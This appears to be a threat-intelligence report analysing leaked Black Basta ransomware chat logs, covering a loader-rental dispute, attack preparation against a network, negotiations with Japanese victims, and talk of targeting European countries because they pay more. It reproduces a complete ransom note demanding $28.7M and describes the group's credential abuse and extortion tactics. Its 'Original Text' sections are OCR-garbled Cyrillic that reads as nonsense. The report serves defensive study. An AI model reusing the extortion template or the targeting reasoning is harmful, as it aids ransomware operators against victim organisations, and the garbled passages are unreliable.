<@usernameugway:matrix.bestflowers247.online>
Pactadapan, [20.09.2023 19:12] > 91 XMR > >
Pactadapan, [20.09.2023 19:12] > <Masked:
Cryptocurrency Wallet>
https://xmrchain.net/tx/6061f3f1c1aaf738fe59b4b3c9
2f31adb424c0941612a4e35bb636baccf09979
2023-09-21 17:50:48,
@usernameugway:matrix.bestflowers247.online,
cynep+++

2023-09-21 17:50:52,
@usernameugway:matrix.bestflowers247.online,
OTNULLY KaK OH NpumMeT

[omitted]

2023-09-21 21:20:24,
@usernamegg:matrix.bestflowers247.online,
Pactadapu 100% nunsaat 60TOB, S TYT C HUM MAOTHO
noroBopw.

2023-09-21 21:20:56,
@usernamegg:matrix.bestflowers247.online, OH ToXxe
B paHcoMe paboTaeT 1 ceillyac OH Npuayman BCH 3Ty
apeHAy 3TO axyeHHOro sioajepa 13-3a Toro YTo y Hero
3aKOHYMANCL pecypcbl NO f06blYe CBOUX TapertoB
[omitted]

2023-10-04 13:09:49,
@usernamegg:matrix.bestflowers247.online, >
<@usernameugway:matrix.bestflowers247.online>

230



0.75 BTC -> <Masked: Cryptocurrency Wallet>
<Masked: Cryptocurrency Transaction ID>
2023-10-04 13:09:51,
@usernamegg:matrix.bestflowers247.online, sent
2023-10-04 13:09:55,
@usernamegg:matrix.bestflowers247.online, tell rasta
[omitted]

2023-10-16 07:05:14,
@usernamegg:matrix.bestflowers247.online,
Rastafarian, [15 Oct. 2023, 22:50:34]: Bro, as you know,
we recently decided that we're going private. And
after several weeks of thinking, we finally came to this
decision, for those who still use our loader for mass
loading (especially you like you, locker drivers). I'll
offer you this solution, for 1 year of use (on all 3 of
your partners), you can pay $1,000,000. And it will be
exclusively yours, with constant cleaning from us). |
understand that you work with lockers, with the name
"Black Basta". That's why we decided that $1M is a
worthy amount for your operation. If yes, then let's
decide this right away so | can inform the partners
and close the opinion on this Brave ., [16 Oct. 2023,
10:00:171: hi, | respect your decision to go private. Tell
us the date when you plan to do this. I'll pay rent for
several months ahead. If we continue loading on our
own loader, will you return our rent? I'm just not sure
that my partners will follow you with such a number.
It sounded very rude from your side. There was a
different agreement.

0.75 BTC -> <Masked: Cryptocurrency Wallet>
<Masked: Cryptocurrency Transaction ID>
2023-10-04 13:09:51,
@usernamegg:matrix.bestflowers247.online, ywno
2023-10-04 13:09:55,
@usernamegg:matrix.bestflowers247.online, coobuyn
pacTe

[omitted]

2023-10-16 07:05:14,
@usernamegg:matrix.bestflowers247.online,
Pactadapain, [15 okt. 2023 r., 22:50:34]: bpo, Tak kak
Tbl 3HaeLLb, Mbl HEJABHO PELLUN YTO Mbl YXOAUM B
npwvBaTt. Ml nocne HeCKobKO HeAesb
NPOAyMbIBaHHME, Mbl HAKOHELL-TO MPULLIM K TaKOMY
pelueHmne, AN TeX KTO eLLé nosib3yroT Hall floaZep Ha
Macc nNporpy3ky (0CO6eHHO Tbl Kak Bbl,
nokepBoALwmky) . fl Tebe Npeasoxy Takoe peLLeHme,
3a 1 rog ncnonb3oBaHHMeE (Ha BCeX 3 U3 TBOMX
napTHEPOB) , Tbl MOXeLwUb 3annatuts $1,000,000. A
OHO BYAEeT UCKYUTENIbHO Tebe, C NOCTasHHbIN
UMCTKe OT Hac) . A NOHUMaLO YTO 3TO Bbl paboTawTe C
nokepawm, ¢ HazBaHHWeM "Black Basta". Tak BoT
noyemy Mbl pelaem uto $1kk 310 focToNHas cymma
AnA Bawen onepauun. Ecan aa, To gaBav pewunm 31o
Cpa3y UTobbl A BMeCcTe C napTHepam coobLua n
3aKpblan MHeHue o 3Tom Brave ., [16 okT. 2023 .,
10:00:17]: npuBeT, A yBaxkato TBOE peLleHne YUTU B
npwvBaT. CoobLLMTE YNCNO KOrAa Bbl NAaHMpPyeTe
czenatb 3T0. f 3anNnaTUTb apeHay 3a HECKOIbKO
MecsueB Briepes. Ecam Mbl NPOAOIXKMM rpy3UTb Ha
CBOW Noazep, Tbl BEPHELLb HaM apeHay? s NPOCTO He
YBEPEH YTO MOW MapTHepbl Nouay 3a ToboW ¢ Taknm
YMCOM. DTO OYeHb rpyHO 3ByYaso C Ballelr CTOPOHbI.
[Apyras 6bina 4OroBOPEHHOCTb.

This conversation depicts an external actor, apparently Rastafarian, suddenly presenting unilateral and aggressive

terms as an extension of previous tool usage agreements. The terms demand $1 million annually for exclusive

Black Basta access to the loader, disregarding past arrangements and cooperative relationships. The response

from gg maintains composure while revealing wariness and distrust, indicating signs of relationship breakdown

and internal policy reassessment.
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Attack Preparation

Translated

2024-06-20 21:47:21,
@usernamegg:matrix.bestflowers247.online, need to
call breaker to work there

2024-06-20 21:48:49,
@usernamegg:matrix.bestflowers247.online, fucking
awesome! I'm pleased with myself! and are you
pleased with yourselves?

2024-06-20 21:49:27,
@usernamegg:matrix.bestflowers247.online,
strengthening brute

2024-06-20 22:00:01,
@lapa:matrix.bestflowers247.online, +

2024-06-20 22:05:52,
@usernamezz:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online>
Wrong: <Masked: Credentials> Wrong: <Masked:
Credentials> Wrong: <Masked: Credentials> creds
were valid, he was admin on the machine, checked on
dc, the second time they no longer worked, didn't
enter any commands

2024-06-20 22:06:41,
@usernamezz:matrix.bestflowers247.online, everyone
was watching together, looks like the person
suspected something himself

[omitted]

2024-06-20 22:10:48,
@usernamegg:matrix.bestflowers247.online, fake
machine creds created

2024-06-20 22:10:56,
@usernamegg:matrix.bestflowers247.online, | did
everything required of me

2024-06-20 22:11:08,
@usernamegg:matrix.bestflowers247.online, what else
is needed tell me?

2024-06-20 22:12:32,
@usernamegg:matrix.bestflowers247.online, I'll soon
write auto kerberos extraction, cert checker, admin
scan, everything will be automatic through linux to
enter and do, hash extraction, cyznbt processes, check
machines for msf17 vulnerability

2024-06-20 22:12:41,
@usernamegg:matrix.bestflowers247.online, what else
is needed?

Original Text

2024-06-20 21:47:21,
@usernamegg:matrix.bestflowers247.online, 6perikep
HaZo elle 3BaTb TaM paboTaTb

2024-06-20 21:48:49,
@usernamegg:matrix.bestflowers247.online, 3aebuco!
A l0BOJIEH cO60! a Bbl JOBOJIbHbI COBOI?
2024-06-20 21:49:27,
@usernamegg:matrix.bestflowers247.online, 6pyt
yccuameato

2024-06-20 22:00:01,
@lapa:matrix.bestflowers247.online, +

2024-06-20 22:05:52,
@usernamezz:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online>
Wrong:<Masked: Credentials >> Wrong:<Masked:
Credentials >> Wrong:<Masked: Credentials >kpeabl
OblIN BaAnAHbIE, OH Bbl1 aAMUHOM Ha TaukKe,
NPOBEPW Ha AC, Ha BTOPOW pa3 OHM YXKe He
paboTanu, HUKakme KOMaHZbl He BBOAW

2024-06-20 22:06:41,
@usernamezz:matrix.bestflowers247.online, sce
BMeCTe CMOTPENN, MOXOAY YesIOBEK YTO TO
3anofo3pwa cam

[omitted]

2024-06-20 22:10:48,
@usernamegg:matrix.bestflowers247.online, kpeab!
benkoBOV Taukm Co3aaHbl

2024-06-20 22:10:56,
@usernamegg:matrix.bestflowers247.online, s Bce
czienan yuto o1 MeHsa Tpebyetca

2024-06-20 22:11:08,
@usernamegg:matrix.bestflowers247.online, uto ewe
HY>KHO CKaXu MHe?

2024-06-20 22:12:32,
@usernamegg:matrix.bestflowers247.online, s ckopo
HanwuLy aBTO CHUMaKy KepboB,uekasKy CepTos,
CKaHa Ha agMWHa, Bce ByaeT aBTOMaTOM Yepes
JIMHYCK 3aXOAWTb U Aenatb, CHATME roua, cyznbt
NPOLLeCCOB , Yeka Tauek Ha yA3BUMOCTb MCH17
2024-06-20 22:12:41,
@usernamegg:matrix.bestflowers247.online, uto ewe
HY>XHO?

2024-06-20 22:12:46,
@usernamegg:matrix.bestflowers247.online, s y>xe He
3HaK NpocTo
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2024-06-20 22:12:46,
@usernamegg:matrix.bestflowers247.online, | just
don't know anymore

2024-06-20 22:13:16,
@usernamegg:matrix.bestflowers247.online, * I'll soon
write auto kerberos extraction, cert checker, admin
scan, everything will be automatic through linux to
enter and do, hash extraction, cyznbt processes, 2003
check machines for msf17 vulnerability

2024-06-20 22:13:48,
@usernamegg:matrix.bestflowers247.online, today
such a layer of work was done, | understand that the
AVs there are not the simplest, but you've been
sitting there for more than a year

2024-06-20 22:14:11,
@usernamezz:matrix.bestflowers247.online, doesn't
scan anything from socks, launches and cuts
connection

2024-06-20 22:15:00,
@usernamegg:matrix.bestflowers247.online, * today
did such a layer of work, | understand that the AVs
there are not the simplest, but you've been sitting
there for more than a year

2024-06-20 22:15:41,
@usernamegg:matrix.bestflowers247.online, lying
now and can't fall asleep, | don't understand what
else is needed? what else should | do?

2024-06-20 22:17:11,
@usernamegg:matrix.bestflowers247.online, tell me
what else you need?

2024-06-20 22:17:28,
@usernamegg:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> I'll
soon write auto kerberos extraction, cert checker,
admin scan, everything will be automatic through
linux to enter and do, hash extraction, cyznbt
processes, 2003 check machines for msf17
vulnerability well really is this all that's left to
implement?

2024-06-20 22:13:16,
@usernamegg:matrix.bestflowers247.online, * 5
CKOPO Hanuuly aBTO CHMManky kepboB,yekanky
CepToB, CKaHa Ha agMu1Ha, Bce byaeT aBTOMaTOM
Yyepes IMHYCK 3aX0AMTb 1 JenaTb, CHATUE roua, cyznbt
npoueccos , 2003 ueka Tauek Ha ya3BUMOCTb Mch17
2024-06-20 22:13:48,
@usernamegg:matrix.bestflowers247.online, cerogHs
Takou nsacT paboTbl NPoAesaH , 1 MOHVMAD UYTO TaM
aB He caMble MPOCTbIe, HO BEAb W Bbl Y>KE HE NepBbIi
rog Tam cugmute

2024-06-20 22:14:11,
@usernamezz:matrix.bestflowers247.online, ¢ cokcos
HWYero He CKaHWT, 3anyckaetca n obpybaeT KOHHeKT
2024-06-20 22:15:00,
@usernamegg:matrix.bestflowers247.online, *
cerofHs Takon naact paboTbl Nnpoaenan, A NOHMMako
YTO TaM aB He caMble MPOCTble, HO BEAb 1 Bbl y>Ke He
nepBbIV o4 TaM cuamTe

2024-06-20 22:15:41,
@usernamegg:matrix.bestflowers247.online, nexy
ceilyac 1 He MOry YCHYTb , i HE MOHUMatO YTO elle
Hajo? UToO MHe elle caenaTb?

2024-06-20 22:17:11,
@usernamegg:matrix.bestflowers247.online, ckaxuTte
MHe YTO eLLe HY>KHO Bam?

2024-06-20 22:17:28,
@usernamegg:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> s
CKOPO HanuLly aBTO CHMManky kepboB,uekanky
CepToB, CKaHa Ha aAMVHa, Bce byaeT aBTOMaTOM
yepes JIMHYCK 3aX0AMTb U AenaTb, CHATUE roua, cyznbt
npoueccos , 2003 ueka Tauek Ha ya3BUMOCTb Mch17
HY BOT peaJsibHO 3TO peann3oBaTb OCTaNoCh?

The conversation reveals extensive attack preparation work completed. However, progress falls short of

expectations, and the member seeks ideas from others after exhausting preparation options.
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I 6. Japan-Related Topics

I References to Attacks on Japanese Companies

The chat logs confirm Black Basta targeted Japanese organizations and conducted extortion through leak site
postings. They reveal behind-the-scenes negotiation activities.

References to organizations, including unpublished victims, appear alongside shared details such as revenue

figures within the attack group. These facts demonstrate that publicized incidents represent only the tip of the

iceberg, emphasizing the critical importance of continuous security measures given that any organization may

become a target.

Conversation on a Major Domestic Glass Products Manufacturer

Translated

2023-12-21 17:12:50,
@tinker:matrix.bestflowers247.online, What's up
with <Masked: Organization Name>?

2023-12-21 19:54:48,
@tinker:matrix.bestflowers247.online, and here they
are

2023-12-21 19:54:56,
@tinker:matrix.bestflowers247.online, will you send
them the listing, please?

2023-12-21 20:01:00,
@tinker:matrix.bestflowers247.online, add a review
to our blog

2023-12-21 20:01:08,
@tinker:matrix.bestflowers247.online, we'll send
<Masked: Organization Name> to read
2023-12-21 20:01:21,
@tinker:matrix.bestflowers247.online, so you didn't
call our friend Gregory?

2023-12-21 20:01:40,
@usernamegg:matrix.bestflowers247.online, yes
2023-12-21 20:01:41,
@usernamegg:matrix.bestflowers247.online, now
2023-12-21 20:01:54,
@usernamegg:matrix.bestflowers247.online, >
<@tinker:matrix.bestflowers247.online> so you
didn't call our friend Gregory? didn't call anymore
2023-12-21 20:02:08,
@usernamegg:matrix.bestflowers247.online,
<Masked: TOX ID>

2023-12-21 20:02:14,
@usernamegg:matrix.bestflowers247.online, here's
tox of our caller

Original Text

2023-12-21 17:12:50,
@tinker:matrix.bestflowers247.online, Lo Tam no
<Masked: Organization Name>?

2023-12-21 19:54:48,
@tinker:matrix.bestflowers247.online, a BOT 1 oHK
2023-12-21 19:54:56,
@tinker:matrix.bestflowers247.online, cknHewwb nm
JVCTUHT, NAns?

2023-12-21 20:01:00,
@tinker:matrix.bestflowers247.online, fo6aBb peBbtO
Ha 6a0r HaL

2023-12-21 20:01:08,
@tinker:matrix.bestflowers247.online, cknHem
nountatb <Masked: Organization Name>
2023-12-21 20:01:21,
@tinker:matrix.bestflowers247.online, Bbl Tak A0
Hawero apyra 'peropu He 4O3BOHMANCH?
2023-12-21 20:01:40,
@usernamegg:matrix.bestflowers247.online, ga
2023-12-21 20:01:41,
@usernamegg:matrix.bestflowers247.online, ceiuac
2023-12-21 20:01:54,
@usernamegg:matrix.bestflowers247.online, >
<@tinker:matrix.bestflowers247.online> Bbl Tak A0
Hawero gpyra l'peropu He AO3BOHUANCH? HE 3BOHWAN
6onbLue

2023-12-21 20:02:08,
@usernamegg:matrix.bestflowers247.online, <Masked:
TOX ID>

2023-12-21 20:02:14,
@usernamegg:matrix.bestflowers247.online, BOT TOKC
HaLlero 3BOHWbI
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2023-12-21 20:02:16,
@usernamegg:matrix.bestflowers247.online, add
him

2023-12-21 20:02:18,
@usernamegg:matrix.bestflowers247.online, move
2023-12-21 20:02:29,
@tinker:matrix.bestflowers247.online, accepted
2023-12-21 20:02:54,
@tinker:matrix.bestflowers247.online, done
2023-12-21 20:03:09,
@tinker:matrix.bestflowers247.online, can you send
yours too, | lost it

2023-12-21 20:03:11,
@tinker:matrix.bestflowers247.online, just not here
2023-12-21 20:03:35,
@tinker:matrix.bestflowers247.online, | can't move
the caller without your order

2023-12-21 20:04:09,
@usernamegg:matrix.bestflowers247.online, | wrote
to him

2023-12-21 20:04:21,
@tinker:matrix.bestflowers247.online, +++
2023-12-21 20:04:29,
@usernamegg:matrix.bestflowers247.online, | wrote
to you there

2023-12-21 20:04:32,
@usernamegg:matrix.bestflowers247.online,
<Masked: Organization Name>

2023-12-21 20:04:37,
@usernamegg:matrix.bestflowers247.online, ask
them about private

2023-12-21 20:04:40,
@usernamegg:matrix.bestflowers247.online, we'll
transfer them

2023-12-21 20:04:45,
@usernamegg:matrix.bestflowers247.online, so no
one reads their chat

2023-12-21 20:27:59,
@usernamegg:matrix.bestflowers247.online, we'll
need to know in private chat where they're writing
from which office japan or usa

2023-12-21 20:28:05,
@usernamegg:matrix.bestflowers247.online, we hit
two trusts

[omitted]

2023-12-21 20:32:26,
@usernamegg:matrix.bestflowers247.online, | sent
them the blog

2023-12-21 20:02:16,
@usernamegg:matrix.bestflowers247.online, gob6asb
ero

2023-12-21 20:02:18,
@usernamegg:matrix.bestflowers247.online, wesenu
2023-12-21 20:02:29,
@tinker:matrix.bestflowers247.online, npuHsan
2023-12-21 20:02:54,
@tinker:matrix.bestflowers247.online, caenano
2023-12-21 20:03:09,
@tinker:matrix.bestflowers247.online, Mmoxelub cBOM
CKUHYTb TOXeE, fi NOTeps

2023-12-21 20:03:11,
@tinker:matrix.bestflowers247.online, Tonbko He TyT
2023-12-21 20:03:35,
@tinker:matrix.bestflowers247.online, s He mMory 6e3
TBOEro MNpwvKasa LUEBESINTb 3BOHUNY

2023-12-21 20:04:09,

@usernamegg:matrix.bestflowers247.online, s Hanucan

emy
2023-12-21 20:04:21,
@tinker:matrix.bestflowers247.online, +++
2023-12-21 20:04:29,
@usernamegg:matrix.bestflowers247.online, s Tebe
Hancuan Tyaa

2023-12-21 20:04:32,

@usernamegg:matrix.bestflowers247.online, <Masked:

Organization Name>
2023-12-21 20:04:37,
@usernamegg:matrix.bestflowers247.online, cnpocun y
HWX NPO npuBat

2023-12-21 20:04:40,
@usernamegg:matrix.bestflowers247.online,
nepeseAem Mx

2023-12-21 20:04:45,

@usernamegg:matrix.bestflowers247.online, uto 661 HU

KTO He unTan yat nx
2023-12-21 20:27:59,
@usernamegg:matrix.bestflowers247.online, Hago
OyzeT B NPMBATHOM 4aTe 3HaTb Y HWUX OTKYZa OHU
NULWYT C Kakoro odurca ANOHMUM UK roca
2023-12-21 20:28:05,
@usernamegg:matrix.bestflowers247.online, Mbl
3ajenv ABa TpacTa

[omitted]

2023-12-21 20:32:26,
@usernamegg:matrix.bestflowers247.online, s um
CKWHyAn 6n0r
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2023-12-21 20:32:33,
@usernamegg:matrix.bestflowers247.online, tell
them we're keeping this secret for now

2023-12-21 20:32:37,
@tinker:matrix.bestflowers247.online, yeah
2023-12-21 20:32:37,
@usernamegg:matrix.bestflowers247.online, and no
one sees this

2023-12-21 20:32:41,
@tinker:matrix.bestflowers247.online, just send the
listing

2023-12-21 20:32:44,
@usernamegg:matrix.bestflowers247.online, now I'll
throw them the intro

2023-12-21 20:32:55,
@usernamegg:matrix.bestflowers247.online,
<Masked: URL>

2023-12-21 20:33:00,
@usernamegg:matrix.bestflowers247.online, here's
the tree file

2023-12-21 20:33:12,
@usernamegg:matrix.bestflowers247.online, pass:
<Masked: Credentials>

2023-12-21 20:33:25,
@usernamegg:matrix.bestflowers247.online, tell
them they can choose 5 files

2023-12-21 20:33:33,
@usernamegg:matrix.bestflowers247.online, I'll
adjust the intro for now

2023-12-21 20:33:37,
@usernamegg:matrix.bestflowers247.online, I'll send
it to you and you'll send it

2023-12-21 20:34:38,
@tinker:matrix.bestflowers247.online, done
[omitted]

2023-12-21 20:35:48,
@usernamegg:matrix.bestflowers247.online, * Hello,
We are Black Basta Syndicate. We were able to
access you local networks and encrypt as well as
exfiltrate data. As a result, we've downloaded over
1.5 Tb of sensitive information and data from your
network. Right now we are keeping everything
confidential and are making sure that only you and
us know about this incident. However, if we will not
able come to an agreement within 10 days, all of
your data will be posted on our news board. In case
you do not pay, this data exposure and our own
efforts will lead to other bad entities being able to

2023-12-21 20:32:33,
@usernamegg:matrix.bestflowers247.online, ckaxwu
noKa Mbl AEPXNM 3TO B cekpeTe

2023-12-21 20:32:37,
@tinker:matrix.bestflowers247.online, ara

2023-12-21 20:32:37,
@usernamegg:matrix.bestflowers247.online, n HuKTO
3TO He BUAMNT

2023-12-21 20:32:41,
@tinker:matrix.bestflowers247.online, Tonbko AMCTUHT
CKVHb

2023-12-21 20:32:44,
@usernamegg:matrix.bestflowers247.online, ceiyac s
MM BBOZAHbIE KNHY

2023-12-21 20:32:55,
@usernamegg:matrix.bestflowers247.online, <Masked:
URL>

2023-12-21 20:33:00,
@usernamegg:matrix.bestflowers247.online, BoT Tpee
dbann

2023-12-21 20:33:12,
@usernamegg:matrix.bestflowers247.online, pass:
<Masked: Credentials>

2023-12-21 20:33:25,
@usernamegg:matrix.bestflowers247.online, ckaxu uto
5 pannos moryT BbibpaThb

2023-12-21 20:33:33,
@usernamegg:matrix.bestflowers247.online, s ceituac
noka BBOAHOE MOAKOPEKTUPYHO

2023-12-21 20:33:37,
@usernamegg:matrix.bestflowers247.online, Tebe
CKWHY OTNpaBuLLb

2023-12-21 20:34:38,
@tinker:matrix.bestflowers247.online, caenano
[omitted]

2023-12-21 20:35:48,
@usernamegg:matrix.bestflowers247.online, * Hello,
We are Black Basta Syndicate. We were able to access
you local networks and encrypt as well as exfiltrate
data. As a result, we've downloaded over 1.5 Tb of
sensitive information and data from your network.
Right now we are keeping everything confidential and
are making sure that only you and us know about this
incident. However, if we will not able come to an
agreement within 10 days, all of your data will be
posted on our news board. In case you do not pay, this
data exposure and our own efforts will lead to other
bad entities being able to connect to your network and
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connect to your network and end up attacking you
and your customers. The price to resolve this
situation is is $28,720,000 USD. In case of successful
negotiations we guarantee you will get: 1. Decryptor
for all your Windows. 2. Non recoverable removal of
all downloaded data from our side, as well as any
other sources (in other words you will get your data
back and nobody else will have access to it) . 3.
Security report on how you were hacked to fix your
vulnerabilities and avoid such situations in future. 4.
A guarantee from us that neither us nor our allies
will ever target you again. Hope you can correctly
assess the risks for your company and make a right
decision. You can find more information about Black
Basta syndicate in Google.

end up attacking you and your customers. The price to
resolve this situation is is **$28,720,000 USD**. In case
of successful negotiations we guarantee you will get: 1.
Decryptor for all your Windows. 2. Non recoverable
removal of all downloaded data from our side, as well
as any other sources (in other words you will get your
data back and nobody else will have access to it) . 3.
Security report on how you were hacked to fix your
vulnerabilities and avoid such situations in future. 4. A
guarantee from us that neither us nor our allies will
ever target you again. Hope you can correctly assess
the risks for your company and make a right decision.
You can find more information about Black Basta
syndicate in Google.
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Conversation on a Major Domestic Construction Company

Translated

2023-11-30 19:57:09,
@usernamegg:matrix.bestflowers247.online, Website
<Masked: URL> <Masked: Organization Name>
Revenue Revenue $2.3B Stock Symbol

2023-11-30 19:57:34,
@usernamegg:matrix.bestflowers247.online, japanese
energy companies, into work.

2023-11-30 20:04:27,
@usernamess:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> >
<Masked: URL> > <Masked: E-mail
Address>:<Masked: Credentials> > someone logged
in there

2023-11-30 20:04:41,
@usernamess:matrix.bestflowers247.onling, | got
kicked out

2023-11-30 20:04:42,
@usernamegg:matrix.bestflowers247.online, TT
2023-11-30 20:04:47,
@usernamess:matrix.bestflowers247.online, no
2023-11-30 20:04:51,
@usernamess:matrix.bestflowers247.online, he didn't
log in

2023-11-30 20:05:09,
@usernamess:matrix.bestflowers247.online, | already
authorized there while you were writing to him
2023-11-30 20:05:14,
@usernamegg:matrix.bestflowers247.online, all
2023-11-30 20:05:16,
@usernamegg:matrix.bestflowers247.online, log in
2023-11-30 20:05:17,
@usernamess:matrix.bestflowers247.online, and he
decided not to kick me out

2023-11-30 20:05:19,
@usernamegg:matrix.bestflowers247.online, that was
an error

2023-11-30 20:05:26,
@usernamess:matrix.bestflowers247.online, ok
2023-11-30 20:05:29,
@usernamess:matrix.bestflowers247.online, TT is
taking

2023-11-30 20:05:34,
@usernamegg:matrix.bestflowers247.online, yeah

Original Text

2023-11-30 19:57:09,
@usernamegg:matrix.bestflowers247.online, ™
Website <Masked: URL> <Masked: Organization
Name> Revenue Revenue $2.3B Stock Symbol ™
2023-11-30 19:57:34,
@usernamegg:matrix.bestflowers247.online,
ANOHCKNE SHepreTuku, B pabory.

2023-11-30 20:04:27,
@usernamess:matrix.bestflowers247.online, >
<@usernamegg:matrix.bestflowers247.online> ™ >
<Masked: URL> > <Masked: E-mail
Address>:<Masked: Credentials> > ™ Tyaa k10 TO
3awen

2023-11-30 20:04:41,
@usernamess:matrix.bestflowers247.online, meHs
BbIGUNO

2023-11-30 20:04:42,
@usernamegg:matrix.bestflowers247.online, TT
2023-11-30 20:04:47,
@usernamess:matrix.bestflowers247.online, Het
2023-11-30 20:04:51,
@usernamess:matrix.bestflowers247.online, oH He
3awen

2023-11-30 20:05:09,
@usernamess:matrix.bestflowers247.online, s yxe
aBTOpM30Ba/CsA TaM Moka Tbl emMy nucan
2023-11-30 20:05:14,
@usernamegg:matrix.bestflowers247.online, Bce
2023-11-30 20:05:16,
@usernamegg:matrix.bestflowers247.online, 3axoam
2023-11-30 20:05:17,
@usernamess:matrix.bestflowers247.online, n oH
peLwnn MeHs He BblbKBaThb

2023-11-30 20:05:19,
@usernamegg:matrix.bestflowers247.online, 31o 6bina
owmbka

2023-11-30 20:05:26,
@usernamess:matrix.bestflowers247.online, ok
2023-11-30 20:05:29,
@usernamess:matrix.bestflowers247.online, TT 6epet
2023-11-30 20:05:34,
@usernamegg:matrix.bestflowers247.online, ara
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Conversation on a Major Domestic Electronics Manufacturer

Translated

2024-03-26 07:34:43,
@usernamegg:matrix.bestflowers247.online, *
<Masked: Domain Name> Label Admin — Client
List.xIsx 1099 Form Cover Checklist.xlsx 2020 06 —
RHCP - <Masked: Organization Name> —
Recoupment.xlsx Dogsledding on the mendy-KD.jpg
6 Flags — NN jpg

Original Text

2024-03-26 07:34:43,
@usernamegg:matrix.bestflowers247.online, *
<Masked: Domain Name> " Label Admin — Client
List.xIsx 1099 Form Cover Checklist.xlsx 2020 06 —
RHCP - <Masked: Organization Name> —
Recoupment.xlsx Dogsledding on the mendy-KD.jpg
6 Flags — NN.jpg ™

Conversation on Domestic Small and Medium-sized Enterprises (SMEs)

Translated

2023-12-12 14:02:42, @cameron777:matrix.org, and
what kind of firm is there?

2023-12-12 14:03:40,
@usernamevv:matrix.bestflowers247.online,
something small 100%

2023-12-12 14:04:01,
@usernamevv:matrix.bestflowers247.online, doesn't
ping, can't even call, there's also Symantec there
2023-12-12 14:04:33,
@usernamevv:matrix.bestflowers247.online, Okinawa
Prefecture of Japan

2023-12-12 14:04:48,
@usernamevv:matrix.bestflowers247.online, Okinawa
is a prefecture located on more than 150 islands in
the East China Sea between Taiwan and the main
islands of the Japanese archipelago. It is famous for
its tropical climate, extensive beaches, coral reefs and
World War |l battle sites. On Okinawa, the largest
island in the region, you should visit the Okinawa
Prefectural Peace Memorial Museum, created in
memory of the large-scale invasion by Anglo-
American troops in 1945, and the Churaumi
Aquarium, which houses whale sharks and manta
rays. — Google

Original Text

2023-12-12 14:02:42, @cameron777:matrix.org, a
chto za firma tam?

2023-12-12 14:03:40,
@usernamevv:matrix.bestflowers247.online, melkoe
chto-to 100%

2023-12-12 14:04:01,
@usernamevv:matrix.bestflowers247.online, ne
pinguet, daje pozvat' ne mogu, tam eshe Symantec
stoit

2023-12-12 14:04:33,
@usernamevv:matrix.bestflowers247.online, ™
OkwuHaBa MpedekTypa AnoHun

2023-12-12 14:04:48,
@usernamevv:matrix.bestflowers247.online, ‘OkuHaBa
— npedekTypa, pacnonoxeHHas bonee uem Ha 150
ocTpoBax B BoctouHo-Kutalickom mope mexay
TallBaHEM 1 OCHOBHbIMW OCTPOBaMu ANOHCKOro
apxunenara. OHa CnaBUTCA CBOMM TPOMUYECKMM
KAMMaTOM, OBLUMPHBIMUW NASXKAMK, KOPaNIOBbIMU
pudamu 1 MecTammn cpaxxeHnin Bropoin mmuposoi
BOMHbI. Ha OknHaBe, KpyrnHenLwem OCTPOBE PernoHa,
CTOUT NnoceTnTb MeMopwmanbHbIn My3ein Mupa
npoBuHLUMM OKMHaBa, CO3AaHHbIV B NaMATb O
MacLITabHOM BTOPXKEHMM aHTI0-aMepUKaHCKNX
Borick B 1945 rogy, n akBapuym "Tropaymun", B
KOTOPOM OBMTatOT KNTOBbIE aky/ibl U CKaTbl BUAA
MaHTa. — Google’
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I 7. Ransom, Branding and Extortion

While ransomware commonly appears to involve indiscriminate infiltration of vulnerable systems followed by

computer infection and ransom demands, Black Basta's chat logs reveal systematic criminal operations. These

include target organization selection, preliminary financial investigation for ransom determination, and

preparation of negotiation scripts for victim interaction.

This chapter examines ransom payment communications and extortion methodologies.

|7.1 Optimizing Ransom Collection Strategies

Ransomware groups primarily pursue financial gain. Black Basta's chat logs confirm detailed planning of ransom
demands and amount maximization, alongside analysis of countries and regions with high payment success

rates.

There are three key findings:

1.

Internal discussions on which target country selection:

The group evaluated America as having low attack success rates due to robust security infrastructure.
Conversely, they perceived European regions as having weaker defenses and higher payment
likelihood. However, targeting showed sophistication beyond randomness - avoiding France due to
strong non-payment tendencies demonstrates consideration of cultural and practical factors alongside
technical ones.

Ransom amounts determined through target financial analysis:

Black Basta avoided arbitrary demands, instead estimating short-term accessible cash based on target
financial situations. This reveals personnel with expertise spanning both technical and financial
domains.

Threats involving confidential information exposure to customers and competitors:
Psychological pressure tactics to encourage payment appeared consistently across all target countries.
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Target Consideration

Conversation on Regional Targeting of Attacks #1

Translated

2024-05-29 07:50:20,
@usernamegg:matrix.bestflowers247.online, Make
more targets from calls, there will be good earnings
from these targets. My advice is don't put emphasis
only on USA, Germany pays at the same level as USA,
we know this for sure.

2024-05-29 07:50:51,
@usernamegg:matrix.bestflowers247.online, Teach
me too, | will work only on Germany, | have a German
caller)

2024-05-29 07:51:11, @nickolas:talks.icu, we have
problems with Germany. A) lack of German caller B)
time zone

2024-05-29 07:51:21, @nickolas:talks.icu, let me think,
if there's a German, we can figure out something
2024-05-29 07:51:26, @nickolas:talks.icu, do Germans
have weaker protection?

2024-05-29 07:51:40,
@usernamegg:matrix.bestflowers247.online, yes,
Europe has less protection

2024-05-29 07:51:45,
@usernamegg:matrix.bestflowers247.online, much
less

2024-05-29 07:51:48,
@usernamegg:matrix.bestflowers247.online, easier to
work with them

2024-05-29 07:51:52, @nickolas:talks.icu, USA is just
fucking packed (

2024-05-29 07:52:04,
@usernamegg:matrix.bestflowers247.online, exactly...
2024-05-29 07:52:24,
@usernamegg:matrix.bestflowers247.online, no need
to complicate life, our Europe gave top payments
2024-05-29 07:53:10,
@usernamegg:matrix.bestflowers247.online, but for
now the main thing is don't break the scheme, do
everything in the same direction.

2024-05-29 07:53:25, @nickolas:talks.icu, we
constantly fine-tune something.

Original Text

2024-05-29 07:50:20,
@usernamegg:matrix.bestflowers247.online, enai
6o/bLLUe TapreToB CO 3BOHKOB, HByeT XOpoLUniA
3apaboTok C 3TUX TapreToB. Mo coBeT He Hajo
aKLUEHT CTaBUTb TONbKO Ha USA, TepmaHuna naatut Ha
TOM >e ypoBHe 4To 1 USA, Mbl 3TO TOYHO 3HaeMm.
2024-05-29 07:50:51,
@usernamegg:matrix.bestflowers247.online, MeHs
TOXe Hayuu s Byay TOJIbKO MO repmMaHmm paboTaTtb y
MEHS eCTb HemeLlkas 3BOHWU/IKA)

2024-05-29 07:51:11, @nickolas:talks.icu, y Hac ¢
